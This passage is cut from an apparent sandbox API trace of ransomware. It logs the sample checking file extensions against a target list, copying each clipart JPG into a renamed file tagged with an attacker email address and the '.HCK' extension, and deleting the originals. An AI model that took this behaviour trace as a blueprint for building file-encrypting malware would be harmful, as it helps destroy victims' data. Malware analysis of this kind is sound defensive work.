lpOverlapped=0x0) returned 1 [0172.608] SetEndOfFile (hFile=0x38c) returned 1 [0172.611] CloseHandle (hObject=0x38c) returned 1 [0172.613] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.613] SetEndOfFile (hFile=0x388) returned 1 [0172.620] CloseHandle (hObject=0x388) returned 1 [0172.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg")) returned 1 [0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.625] lstrlenW (lpString=".doc") returned 4 [0172.625] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.625] lstrlenW (lpString=".docx") returned 5 [0172.625] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.625] lstrlenW (lpString=".pdf") returned 4 [0172.625] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.625] lstrlenW (lpString=".xls") returned 4 [0172.625] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.625] lstrlenW (lpString=".xlsx") returned 5 [0172.625] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.625] lstrlenW (lpString=".ppt") returned 4 [0172.625] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.625] lstrlenW (lpString=".zip") returned 4 [0172.625] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.625] lstrlenW (lpString=".rar") returned 4 [0172.625] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.625] lstrlenW (lpString=".bz2") returned 4 [0172.625] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.625] lstrlenW (lpString=".7z") returned 3 [0172.625] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.625] lstrlenW (lpString=".dbf") returned 4 [0172.625] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.625] lstrlenW (lpString=".1cd") returned 4 [0172.625] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.625] lstrlenW (lpString=".jpg") returned 4 [0172.625] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.625] lstrlenW (lpString=".doc") returned 4 [0172.625] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.625] lstrlenW (lpString=".docx") returned 5 [0172.625] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.626] lstrlenW (lpString=".pdf") returned 4 [0172.626] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.626] lstrlenW (lpString=".xls") returned 4 [0172.626] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.626] lstrlenW (lpString=".xlsx") returned 5 [0172.626] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.626] lstrlenW (lpString=".ppt") returned 4 [0172.626] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.626] lstrlenW (lpString=".zip") returned 4 [0172.626] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.626] lstrlenW (lpString=".rar") returned 4 [0172.626] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.626] lstrlenW (lpString=".bz2") returned 4 [0172.626] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.626] lstrlenW (lpString=".7z") returned 3 [0172.626] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.626] lstrlenW (lpString=".dbf") returned 4 [0172.626] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.626] lstrlenW (lpString=".1cd") returned 4 [0172.626] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG") returned 68 [0172.626] lstrlenW (lpString=".jpg") returned 4 [0172.626] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.626] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.626] lstrlenW (lpString="J0341742.JPG") returned 12 [0172.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.627] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=18874) returned 1 [0172.627] CloseHandle (hObject=0x2fc) returned 1 [0172.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg")) returned 0x220 [0172.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.633] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.633] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0172.638] GetLastError () returned 0x0 [0172.638] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x49ba, lpOverlapped=0x0) returned 1 [0172.640] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x49c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x49c0, lpOverlapped=0x0) returned 1 [0172.641] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.641] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.641] SetEndOfFile (hFile=0x3a0) returned 1 [0172.644] CloseHandle (hObject=0x3a0) returned 1 [0172.645] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.645] SetEndOfFile (hFile=0x368) returned 1 [0172.649] CloseHandle (hObject=0x368) returned 1 [0172.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg")) returned 1 [0172.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.654] lstrlenW (lpString=".doc") returned 4 [0172.654] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.654] lstrlenW (lpString=".docx") returned 5 [0172.654] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0172.654] lstrlenW (lpString=".pdf") returned 4 [0172.654] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.654] lstrlenW (lpString=".xls") returned 4 [0172.654] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.654] lstrlenW (lpString=".xlsx") returned 5 [0172.654] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0172.654] lstrlenW (lpString=".ppt") returned 4 [0172.654] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.655] lstrlenW (lpString=".zip") returned 4 [0172.655] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.655] lstrlenW (lpString=".rar") returned 4 [0172.655] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.655] lstrlenW (lpString=".bz2") returned 4 [0172.655] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.655] lstrlenW (lpString=".7z") returned 3 [0172.655] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.655] lstrlenW (lpString=".dbf") returned 4 [0172.655] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.655] lstrlenW (lpString=".1cd") returned 4 [0172.655] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.655] lstrlenW (lpString=".jpg") returned 4 [0172.655] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.655] lstrlenW (lpString=".doc") returned 4 [0172.655] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.655] lstrlenW (lpString=".docx") returned 5 [0172.655] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0172.655] lstrlenW (lpString=".pdf") returned 4 [0172.655] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.655] lstrlenW (lpString=".xls") returned 4 [0172.655] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.655] lstrlenW (lpString=".xlsx") returned 5 [0172.655] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0172.655] lstrlenW (lpString=".ppt") returned 4 [0172.655] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.655] lstrlenW (lpString=".zip") returned 4 [0172.655] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.655] lstrlenW (lpString=".rar") returned 4 [0172.655] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.655] lstrlenW (lpString=".bz2") returned 4 [0172.655] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.655] lstrlenW (lpString=".7z") returned 3 [0172.655] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.655] lstrlenW (lpString=".dbf") returned 4 [0172.655] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.656] lstrlenW (lpString=".1cd") returned 4 [0172.656] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG") returned 68 [0172.656] lstrlenW (lpString=".jpg") returned 4 [0172.656] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.656] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.656] lstrlenW (lpString="J0382927.JPG") returned 12 [0172.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.659] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=129132) returned 1 [0172.659] CloseHandle (hObject=0x368) returned 1 [0172.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg")) returned 0x220 [0172.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0172.671] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.671] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.680] GetLastError () returned 0x0 [0172.680] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1f86c, lpOverlapped=0x0) returned 1 [0172.687] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1f870, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1f870, lpOverlapped=0x0) returned 1 [0172.689] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.689] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.689] SetEndOfFile (hFile=0x300) returned 1 [0172.697] CloseHandle (hObject=0x300) returned 1 [0172.697] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.697] SetEndOfFile (hFile=0x3a0) returned 1 [0172.699] CloseHandle (hObject=0x3a0) returned 1 [0172.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg")) returned 1 [0172.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.700] lstrlenW (lpString=".doc") returned 4 [0172.701] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.701] lstrlenW (lpString=".docx") returned 5 [0172.701] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0172.701] lstrlenW (lpString=".pdf") returned 4 [0172.701] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.701] lstrlenW (lpString=".xls") returned 4 [0172.701] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.701] lstrlenW (lpString=".xlsx") returned 5 [0172.701] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0172.701] lstrlenW (lpString=".ppt") returned 4 [0172.701] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.701] lstrlenW (lpString=".zip") returned 4 [0172.701] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.701] lstrlenW (lpString=".rar") returned 4 [0172.701] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.701] lstrlenW (lpString=".bz2") returned 4 [0172.701] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.701] lstrlenW (lpString=".7z") returned 3 [0172.701] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.701] lstrlenW (lpString=".dbf") returned 4 [0172.701] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.701] lstrlenW (lpString=".1cd") returned 4 [0172.701] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.701] lstrlenW (lpString=".jpg") returned 4 [0172.701] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.701] lstrlenW (lpString=".doc") returned 4 [0172.701] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.701] lstrlenW (lpString=".docx") returned 5 [0172.701] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0172.701] lstrlenW (lpString=".pdf") returned 4 [0172.701] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.701] lstrlenW (lpString=".xls") returned 4 [0172.702] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.702] lstrlenW (lpString=".xlsx") returned 5 [0172.702] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0172.702] lstrlenW (lpString=".ppt") returned 4 [0172.702] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.702] lstrlenW (lpString=".zip") returned 4 [0172.702] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.702] lstrlenW (lpString=".rar") returned 4 [0172.702] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.702] lstrlenW (lpString=".bz2") returned 4 [0172.702] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.702] lstrlenW (lpString=".7z") returned 3 [0172.702] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.702] lstrlenW (lpString=".dbf") returned 4 [0172.702] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.702] lstrlenW (lpString=".1cd") returned 4 [0172.702] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG") returned 68 [0172.702] lstrlenW (lpString=".jpg") returned 4 [0172.702] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.702] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.702] lstrlenW (lpString="J0382939.JPG") returned 12 [0172.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.706] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=109477) returned 1 [0172.706] CloseHandle (hObject=0x368) returned 1 [0172.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg")) returned 0x220 [0172.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.710] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.711] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.715] GetLastError () returned 0x0 [0172.715] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1aba5, lpOverlapped=0x0) returned 1 [0172.721] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1abb0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1abb0, lpOverlapped=0x0) returned 1 [0172.723] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.723] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.723] SetEndOfFile (hFile=0x308) returned 1 [0172.723] CloseHandle (hObject=0x308) returned 1 [0172.723] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.723] SetEndOfFile (hFile=0x300) returned 1 [0172.724] CloseHandle (hObject=0x300) returned 1 [0172.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.724] DeleteFileW 